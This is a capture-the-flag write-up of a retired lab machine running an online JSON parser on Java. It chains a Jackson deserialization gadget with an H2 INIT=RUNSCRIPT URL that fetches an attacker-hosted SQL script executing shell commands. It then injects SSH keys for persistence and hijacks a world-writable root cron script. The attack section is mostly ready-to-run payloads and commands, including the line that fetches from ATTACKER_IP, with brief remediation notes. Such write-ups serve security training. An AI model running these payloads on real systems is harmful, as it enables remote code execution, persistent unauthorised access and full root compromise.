Time
Summary
Target time ($TARGET) runs an 'Online JSON parser' web application backed by a Java service with an embedded H2 database. Submitting malformed JSON to the validation endpoint caused the service to return a full Java stack trace, exposing the Jackson and H2 class names and pointing straight at a known deserialization gadget chain. An me-crafted JSON payload exploited Jackson's polymorphic type handling to instantiate the Logback JDBC gadget class, whose JDBC URL contained an H2 INIT=RUNSCRIPT directive that fetched and executed an me-hosted SQL script.
That script defined an H2 stored procedure wrapping Java's Runtime.exec(), delivering unauthenticated remote code execution as the web service account. Command execution was used to inject an SSH public key into the pericles user's authorized_keys file, establishing a persistent foothold and yielding the user flag. Privilege escalation to root required only a single file append: /usr/bin/timer_backup.sh, a backup script executed on a schedule by root, had world-writable permissions.
Appending SSH key injection commands to it caused root to write my public key into /root/.ssh/authorized_keys on the next scheduled run, and an SSH session as root captured the final flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 22,80 $TARGETcurl -si http://$TARGET/curl -s -X POST http://$TARGET/index.php -d 'mode=1&data={"a":1}'Exact commands 1
curl -s -X POST http://$TARGET/index.php -d 'mode=1&data=notjson'FixSuppress detailed error output and Java stack traces from HTTP responsesMedium
Exact commands 3
cat > /tmp/inject.sql <<'EOF'
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
CALL SHELLEXEC('id');
EOFpython3 -m http.server 8001 --bind $ATTACKER_IPcurl -s -X POST http://$TARGET/index.php --data-urlencode 'mode=1' --data-urlencode 'data=["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM \"http://$ATTACKER_IP:8001/inject.sql\""}]'FixDisable Jackson polymorphic deserialization of untrusted input and restrict H2 INIT=RUNSCRIPTCritical
Exact commands 3
ssh-keygen -t ed25519 -f /tmp/time_pericles_key -N '' -C time_periclesPUB=$(cat /tmp/time_pericles_key.pub); cat > /tmp/key3.sql <<EOF
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS \$\$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; Runtime.getRuntime().exec(command); return "ok"; } \$\$;
CALL SHELLEXEC('mkdir -p /home/pericles/.ssh && printf "%s\\n" "$PUB" >> /home/pericles/.ssh/authorized_keys && chmod 700 /home/pericles/.ssh && chmod 600 /home/pericles/.ssh/authorized_keys');
EOFssh -i /tmp/time_pericles_key -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 pericles@$TARGET 'id && cat /home/pericles/user.txt'Exact commands 3
ssh -i /tmp/time_pericles_key pericles@$TARGET 'ls -l /usr/bin/timer_backup.sh && cat /usr/bin/timer_backup.sh'PUB=$(cat /tmp/time_pericles_key.pub); ssh -i /tmp/time_pericles_key pericles@$TARGET "printf '\nmkdir -p /root/.ssh\nprintf \'%s\\n\' \'$PUB\' >> /root/.ssh/authorized_keys\nchmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys\n' >> /usr/bin/timer_backup.sh"ssh -i /tmp/time_pericles_key root@$TARGET 'id && cat /root/root.txt'FixRemove world-writable permissions from all root-executed scheduled scriptsCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |